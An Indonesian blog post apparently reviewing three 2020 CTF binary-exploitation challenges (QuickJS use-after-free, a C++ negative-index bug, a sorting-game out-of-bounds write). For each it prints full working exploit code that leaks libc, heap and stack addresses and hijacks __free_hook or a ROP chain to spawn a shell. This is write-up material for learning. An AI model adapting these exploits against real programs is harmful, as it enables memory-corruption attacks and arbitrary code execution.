For English, please click here

Indonesian

Tahun 2020 cukup parah, tapi mengerjakan soal CTF tetap seru. Pada tahun 2020, saya sendiri berpartisipasi di tujuh (7) CTF, menang empat (4) and mengadakan satu (1). Dari semua CTF itu, berikut 3 soal favoritku.

1. NotSoFast (Redmask CTF 2020 Quals)

NotSoFast merupakan soal Javascript Exploitation yang menggunakan engine quick js. Pembuat soal ini tidak lain dan tidak bukan Usman Abdul Halim, sang jago. Anda dapat unduh semua file soal ini pada link ini

Engine quick js merupakan proyek yang open source, dan soal ini meng-_compile_ ulang quick js, tapi menambahkan suatu patch terlebih dahulu. Bug pada soal ini terdapat pada patchnya.

diff --git a/quickjs-libc.c b/quickjs-libc.c
index e8b81e9..9b1cb23 100644
--- a/quickjs-libc.c
+++ b/quickjs-libc.c
@@ -3689,6 +3689,13 @@ static JSValue js_print(JSContext *ctx, JSValueConst this_val,
     return JS_UNDEFINED;
 }
 
+static JSValue js_detachArrayBuffer(JSContext *ctx, JSValue this_val,
+                                    int argc, JSValue *argv)
+{
+    JS_DetachArrayBuffer(ctx, argv[0]);
+    return JS_UNDEFINED;
+}
+
 void js_std_add_helpers(JSContext *ctx, int argc, char **argv)
 {
     JSValue global_obj, console, args;
@@ -3697,6 +3704,11 @@ void js_std_add_helpers(JSContext *ctx, int argc, char **argv)
     /* XXX: should these global definitions be enumerable? */
     global_obj = JS_GetGlobalObject(ctx);
 
+    /* Add new how2heap helper function */
+    JS_SetPropertyStr(
+        ctx, global_obj, "ArrayBufferDetach",
+        JS_NewCFunction(ctx, js_detachArrayBuffer, "ArrayBufferDetach", 1));
+
     console = JS_NewObject(ctx);
     JS_SetPropertyStr(ctx, console, "log",
                       JS_NewCFunction(ctx, js_print, "log", 1));
diff --git a/quickjs.c b/quickjs.c
index a39ff8f..f78143a 100644
--- a/quickjs.c
+++ b/quickjs.c
@@ -51057,6 +51057,8 @@ void JS_DetachArrayBuffer(JSContext *ctx, JSValueConst obj)
         return;
     if (abuf->free_func)
         abuf->free_func(ctx->rt, abuf->opaque, abuf->data);
+    /* add how2heap functions */
+    #if 0
     abuf->data = NULL;
     abuf->byte_length = 0;
     abuf->detached = TRUE;
@@ -51073,6 +51075,7 @@ void JS_DetachArrayBuffer(JSContext *ctx, JSValueConst obj)
             p->u.array.u.ptr = NULL;
         }
     }
+    #endif
 }
 
 /* get an ArrayBuffer or SharedArrayBuffer */

Agak sulit kalau gak ngerti file patch, tapi intinya patch tersebut menambahakan suatu fungsi untuk free suatu ArrayBuffer (bernama ArrayBufferDetach), dan menambahkan suatu bug Use-After-Free (ptr-nya tidak di-_null_-kan)

Dockerfile juga diberikan, dan hal tersebut menunjukakn bahwa soal ini menggunakan ubuntu 18.04

Jika Anda sudah punya ilmu tentang Heap Exploitation, mungkin Anda kepikiran solusi seperti tcache double free. Akan tetapi ada berita buruk:

Error

Yah gabisa gitu jadinya. Yasudah karena sudah ada UAF yang perlu kita lakukan hanyalah mendapatkan leak dan gunakan tcache bin dengan cara yang biasa. Oh dan kita harus lakukan semuanya dalam JS, daripada cara biasa yaitu python+pwntools. Saya temukan gist ini di github yang membantu saya dengan fungsi-fungsi utility yang saya perlukan

Berikut exploit lengkap saya:

function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };

    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };

    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };

    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes.reverse());
};

// Convenience functions. These allocate a new Int64 to hold the result.

// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}

// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
Int64.Eight = new Int64(8);

// That's all the arithmetic we need for exploiting WebKit.. :)
//
// Utility functions.
//
// Copyright (c) 2016 Samuel Groß
//

// Return the hexadecimal representation of the given byte.
function hex(b) {
    return ('0' + b.toString(16)).substr(-2);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++)
        res.push(hex(bytes[i]));

    return res.join('');
}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);

    var lines = [];
    for (var i = 0; i < data.length; i += 16) {
        var chunk = data.slice(i, i+16);
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }

    return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },

        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();



var system_off = 0x4f550
var fh_off = 0x3ed8e8
var fh = 0
var system = 0
var a = new ArrayBuffer(0x350)
var b = new ArrayBuffer(0x350)
var c = new ArrayBuffer(0x350)
var d = new ArrayBuffer(0x350)
var e = new ArrayBuffer(0x350)
var f = new ArrayBuffer(0x350)
var g = new ArrayBuffer(0x350)
var h = new ArrayBuffer(0x350)
var dv = new DataView(a)
var dvv = new DataView(h)
dv.setInt32(16, 0x41424344)
ArrayBufferDetach(b)
ArrayBufferDetach(c)
ArrayBufferDetach(d)
ArrayBufferDetach(e)
ArrayBufferDetach(f)
ArrayBufferDetach(g)
ArrayBufferDetach(a)
ArrayBufferDetach(h)
var r = dvv.getFloat64(128)

r = Int64.fromDouble(r) - 0x3ebca0
fh = r + fh_off
system = r + system_off
console.log(fh)
console.log(fh / 0x100)
dv.setInt8(0, fh)
dv.setInt8(1, fh / 0x100)
dv.setInt8(2, fh / 0x10000)
dv.setInt8(3, fh / 0x1000000)
dv.setInt8(4, fh / 0x100000000)
dv.setInt8(5, fh / 0x10000000000)
dv.setInt8(6, fh / 0x1000000000000)
h = new ArrayBuffer(0x350)
a = new ArrayBuffer(0x350)
dvv = new DataView(a)
dv = new DataView(h)
dvv.setInt8(0, system)
dvv.setInt8(1, system / 0x100)
dvv.setInt8(2, system / 0x10000)
dvv.setInt8(3, system / 0x1000000)
dvv.setInt8(4, system / 0x100000000)
dvv.setInt8(5, system / 0x10000000000)
dvv.setInt8(6, system / 0x1000000000000)


dv.setInt8(0, 0x73)
dv.setInt8(1, 0x68)
ArrayBufferDetach(h)
EOF

Terdapat EOF sebab cara soal ini dijalankan, lihat file soalnya.

Exploit saya lumayan jelek, tapi terkadang saya mendapatkan error “Double free detected” secara random, yang ini kebetulan gak begitu :v

2. ChinPoPomon (Compfest CTF 2020 Finals) (Soal saya sendiri)

ChinPoPomon merupakan soal exploitasi C++, yang menyalahgunakan cara kerja string. Pembuat soal ini merupakan saya sendiri. Anda dapat unduh semua file soal ini pada link ini.

Namanya merupakan permainan kata Chinpokomon, dari South Park.

Soalnnya sendiri merupakan program yang biasa, dimana user dapat membuat suatu ChinPoPomon, dan juga memindahkan ChinPoPomon dari kantong ke pc (seperti pada permainan pokemon). Bug-nya terletak pada bagian kode yang berurusan dengan memindahkan ChinPoPomon dari pocket ke pc.

void deposit_ChinPoPomon(vector<ChinPoPomon*> &pc)	{
	int choice;
	cout << "Choose pocket index: ";
	cin >> choice;
	if(choice > 5)	{
		cout << "Prof. Kinny: This isn't the time to do that!" << endl;
		return;
	}
    if(my_pocket[choice] != NULL)	{
        ...

Terdapat OOB disitu, sebab variabel “choice” bisa saja angka negatif! Varibael “my_pocket” merupakan variabel global, oleh karena itu mari kita lihat apalagi yang ada pada variabel global.

string my_name;
ChinPoPomon *my_pocket[6];

Suatu string pas sebelum array :)

Ya… gimana cara kerja string di C++ pada level memori? Sebenarnya lumayan simpel. Process-nya akan mengalokasikan 4 word untuk string tersebut. Word pertama merupakan pointer ke string tersebut. Word kedua merupakan panjang string tersebut. Word ketiga dan keempat bersama merupakan suatu buffer sebesar 16 byte. Buffer tersebut digunakan untuk string yang memiliki panjang kurang dari 16. Selain itu heap akan digunakan.

Jadi rekap sedikit: Panjang string < 16 -> pointer ke buffer. Panjang string >= 16 -> pointer ke buffer di heap.

Dengan ilmu ini, kita dapat menginput string yang memiliki value pointer, dan menggunakan itu untuk mendapatkan leak heap dan libc.


Untuk menulis kealamat apapun, mari kita melihat cara class ChinPoPomon diimplementasi:

class ChinPoPomon
{
private:
	const char *type;
	string nickname;
	int curr_level;
	int curr_xp;
	void init_level_xp()	{
		this->curr_level = (rand() % 1000);
		this->curr_xp = (rand() % 1000);
	}
public:
	ChinPoPomon():nickname(NULL), type(NULL)	{
		init_level_xp();
	}
	ChinPoPomon(const char *type, string nickname)	{
		this->type = type;
		this->nickname = nickname;
	}
	void view_stats()	{
		cout << "Type: " << this->type << endl;
		cout << "Current Level: " << this->curr_level << endl;
		cout << "Current XP: " << this->curr_xp << endl;
		this->speak();

	}
	void speak()	{
		cout << this->nickname << ", " << this->nickname << "!" << endl;
	}
};


...
...
...

for (int i = 0; i < pc.size(); ++i)
	delete pc[i];	// Prevent memory leaks

Dengan ilmu ini, kita dapat menyalahgunakan atribut string pada class ChinPoPomon untuk menulis ke alamat manapun, dengan teknik seperti House of Botcake.

Berikut exploit saya sendiri:

from pwn import *
import codecs

p = process('./chinpopomon')


def set_name(name):
	p.sendlineafter("name?", name)

def create(type_num, nickname):
	p.sendlineafter("Choice:", '1')
	p.sendlineafter("Choice:", str(type_num))
	p.sendlineafter("Name: ", nickname)

def enter_pc():
	p.sendlineafter("Choice:", '2')

def exit_pc():
	p.sendlineafter("Choice:", '4')

def restart_game():
	p.sendlineafter("Choice:", '3')

def deposit(index):
	p.sendlineafter("PC Choice:", '1')
	p.sendlineafter("index:", str(index))

def withdraw(index):
	p.sendlineafter("PC Choice:", '2')
	p.sendlineafter("index:", str(index))

def view_stats(index):
	p.sendlineafter("PC Choice:", '3')
	p.sendlineafter("index:", str(index))


# Get libc leak
set_name(p64(0x4072d8) + p64(0x407280)[:-1])
enter_pc()
deposit(-2)
view_stats(0)

libc_leak = int(codecs.encode(p.recvuntil("\x7f")[-6:][::-1], 'hex'), 16)
libc_base = libc_leak - 0x3c7ce0
free_hook = libc_base + 0x1c9b28
system = libc_base + 0x30410
print(hex(libc_base))

withdraw(0)
exit_pc()
restart_game()



# Get heap leak
set_name(p64(0x4072d8) + p64(0x4072e0)[:-1])
create(1, 'qwe')
enter_pc()
deposit(-2)
view_stats(0)

p.recvuntil('Type: ')
heap_leak = int(codecs.encode(p.recvuntil("\n")[:-1][::-1], 'hex'), 16)
heap_base = heap_leak - 0x12ee0
print(hex(heap_base))

withdraw(0)
exit_pc()
for i in range(16):
	create(1, 'qwe')
restart_game()

set_name("ASD")
for i in range(10):
	create(1, (p64(heap_base+0x130f0)*2 + p64(5)).ljust(0x100, b"A") )
	enter_pc()
	deposit(0)
	exit_pc()
restart_game()

to_free = heap_base + 0x14040
print(hex(to_free))
set_name(p64(to_free))
create(1, "A"*0x100)
enter_pc()
deposit(-2)
exit_pc()
restart_game()


set_name("sh;\x00"*64)
create(1, p64(free_hook)*36)
create(1, p64(system)*32)
enter_pc()
deposit(-4)
exit_pc()
restart_game()


p.interactive()
p.close()

Soal ini lumayan seru untuk dibuat, sebab trik-trik class dan string merupakan sesuatu yang saya ingin pelajari dari dulu, dan membuat soal ini tentu membantu dalam mempelajarinya.

3. Sorting Game (Cyber Jawara 2020 Finals)

Sorting game merupakan soal yang paling membuat frustrasi, sebab soal ini agak random dan aneh. Kali saya aja yang bodoh. Pembuat soal ini merupakan orang yang LEBIH JAGO LAGI Fariskhi Vidyan. Anda dapat unduh semua file soal ini pada link ini.

Sorting game merupakan game 1v1 melawan AI, untuk mengurutkan suatu array angka agar terurut dari kecil ke besar, dengan mengubah angka-angka yang terdapat pada array tersebut. Pemain yang mengubah angka terakhir pada array tersebut hingga terurut merupakan pemenangnya.

Bug pertama terdapat pada pengecekan apakah array tersebut sudah terurut.

Error

Terdapat OOB pada potongan kode tersebut, dimana program tersebut akan memeriksa satu word dibelakang array. Satu word sebelum array tersebut merupakan pointer ke suatu “cost” variabel, yang memiliki cost dari permainan tersebut. Cost agak aneh, baca aja kodingannya:

Error

Sangat aneh, dan gak bisa di-_reverse_ (kecuali aku yang bodoh). Ini akan digunakan sebagai cara tulis ke alamat apapun.


Hal pertama yang kita perlukan adalah suatu stack leak, dan dari OOB sebelumnya dengan mudah bisa kita dapatkan stack leak. Triknya sebagai berikut: Asumsi semua angka pada array tersebut kecuali yang pertama sangat besar, dan terurut dari kecil ke besar. Setelah itu kita tebak nilai sebelum array tersebut, sebab ceknya dilakukan untuk word sebelum array, jika tebakan kita lebih besar daripada poniter sebelum array, maka kita menang, selain itu AI menang. Dengan insight ini kita dapat menggunakan binary search untuk mendapatkan nilai dari poniter sebelum array.

Setelah kita mendapatkan nilai dari pointer tersebut, kita dapat mengubah nilai dari pointer tersebut dengan bug lain:

Error

Terdapat OOB, berarti kita dapat menulis ulang word sebelum array. Karena ini merupakan suatu pointer, maka kita dapat menulis kemana saja! Ya karena PIE dan ASLR hidup, maka tidak terlalu banyak yang kita dapat lakukan, tapi karena kita memiliki sebuah stack leak maka kita dapat menulis suatu ROP chain dengan variabel cost. Setelah itu kita bisa dapatkan libc leak, tulis ROP chain lagi, dan mendapatkan shell

Menulis ke variabel cost agak aneh, tapi menggunakan z3 saya mendapatkan peluang 50% untuk berhasil.

Berikut exploit saya sendiri:



from pwn import *
from z3 import *
import codecs

p = process('./sorting_game')

largest_number = 0x0000fffffffffffe

# print(lst)

lo = 0
hi = largest_number
haha = 54
for j in range(haha):
	mid = (lo + hi) // 2
	p.sendlineafter("nomor bilangan:", str(1))
	p.sendlineafter("baru:", str(largest_number))
	p.sendlineafter("nomor bilangan:", str(2))
	p.sendlineafter("baru:", str(largest_number-1))

	for i in range(30):
		p.sendlineafter("nomor bilangan:", str(32-i))
		# print(str(largest_number - i))
		p.sendlineafter("baru:", str(largest_number - 32 + i))

	p.sendlineafter("nomor bilangan:", str(1))
	p.sendlineafter("baru:", str(mid))
	ans = p.recvuntil("menang!").decode('ascii')
	if("Anda menang!" in ans):
		hi = mid - 1
	else:
		lo = mid + 1
	if(j != haha-1):
		p.sendlineafter("(Y/N)", 'Y')

stack_leak = lo
print(hex(stack_leak))



def adder(amount, address, not_help=True, aaa = False):

	if(not_help):
		p.sendlineafter("(Y/N)", 'Y')
	p.sendlineafter("nomor bilangan:", str(1))
	p.sendlineafter("baru:", str(largest_number))
	p.sendlineafter("nomor bilangan:", str(2))
	p.sendlineafter("baru:", str(largest_number-1))
	p.sendlineafter("nomor bilangan:", str(3))
	p.sendlineafter("baru:", str(largest_number-2))

	for i in range(29):
		p.sendlineafter("nomor bilangan:", str(32-i))
		# print(str(largest_number - i))
		p.sendlineafter("baru:", str(largest_number - 32 + i))

	p.sendlineafter("nomor bilangan:", str(0))
	p.sendlineafter("baru:", str(address))
	# pause()
	p.sendlineafter("nomor bilangan:", str(2))

	s = Solver()
	x = BitVec('x', 64)
	if(aaa):
		x = BitVec('x', 32)
		s.add(x < 0x7fffffff)
	s.add((((4294967233 - x) & 0xffffffff) ^ (((4294967233 - x) & 0xffffffff) >> 0x1f)) - (((4294967233 - x) & 0xffffffff) >> 0x1f) == amount - 0x3f)
	s.check()
	hehe = s.model()[x]
	print(hehe)
	p.sendlineafter("baru:", str(hehe))

adder(0x6b, stack_leak + 0x128)
adder((stack_leak + 0x1d0) & 0xffffffff, stack_leak + 0x130, aaa=True)
adder((stack_leak + 0x1d0) >> 32, stack_leak + 0x134, aaa=True)
adder(0x634, stack_leak + 0x138)
adder(0x7ffffc38, stack_leak + 0x158)
adder(0x7ffffc38, stack_leak + 0x158)
# adder(0x330394ad, stack_leak + 0x158)
adder(0x3fffffff, stack_leak + 0x15c)
adder(0x3fffffff, stack_leak + 0x15c)
adder(0x3fffffff, stack_leak + 0x15c)
adder(0x3fffffff+3, stack_leak + 0x15c)
adder(0x7fffffcf, stack_leak + 0x160)
adder(0x7fffffcf, stack_leak + 0x160)
adder(0xc4, stack_leak + 0x160)
adder(0x3fffffff, stack_leak + 0x164)
adder(0x3fffffff, stack_leak + 0x164)
adder(0x3fffffff, stack_leak + 0x164)
adder(0x3fffffff+3, stack_leak + 0x164)
adder(0x6f0, stack_leak + 0x170)

# pause()

p.sendlineafter("(Y/N)", 'N')
libc_leak = int(codecs.encode(p.recvuntil("\x7f")[-6:][::-1], 'hex'), 16)
libc_base = libc_leak - 0x228190

print(hex(libc_base))

adder(0x4a7, stack_leak + 0x178, not_help=False)

adder(0x62, stack_leak + 0x168)

# adder((libc_base + 0x0000000000026b6e) & 0xffffffff, stack_leak + 180)
# while(p.recvuntil("menang!", timeout=1) == b''):
# adder((libc_base + 0x0000000000026b6e) >> 32, stack_leak + 0x184)
adder((libc_base + 0x0000000000027b72) & 0xffffffff, stack_leak + 0x1a0,aaa=True)
adder((libc_base + 0x0000000000027b72) >> 32, stack_leak + 0x1a4,aaa=True)
adder((libc_base + 0x1b85aa) & 0xffffffff, stack_leak + 0x1a8,aaa=True)
adder((libc_base + 0x1b85aa) >> 32, stack_leak + 0x1ac,aaa=True)
adder((libc_base + 0x000000000004a1f3) & 0xffffffff, stack_leak + 0x1b0,aaa=True)
adder((libc_base + 0x000000000004a1f3) >> 32, stack_leak + 0x1b4,aaa=True)
adder((libc_base + 0x00000000000286e7) & 0xffffffff, stack_leak + 0x1d8,aaa=True)
adder((libc_base + 0x00000000000286e7) >> 32, stack_leak + 0x1dc,aaa=True)
adder((libc_base + 0x0000000000027b72+1) & 0xffffffff, stack_leak + 0x1f8,aaa=True)
adder((libc_base + 0x0000000000027b72+1) >> 32, stack_leak + 0x1fc,aaa=True)
adder((libc_base + 0x56410) & 0xffffffff, stack_leak + 0x200,aaa=True)
adder((libc_base + 0x56410) >> 32, stack_leak + 0x204,aaa=True)


pause()
p.sendlineafter("(Y/N)", 'N')


p.interactive()
p.close()

Saya yang pertama solve soal ini pada saat lomba btw :)

Closing Statement

Ya 2020 merupakan bencana tapi CTF-nya lumayan seru. Semua 2021 lebih baik lagi :D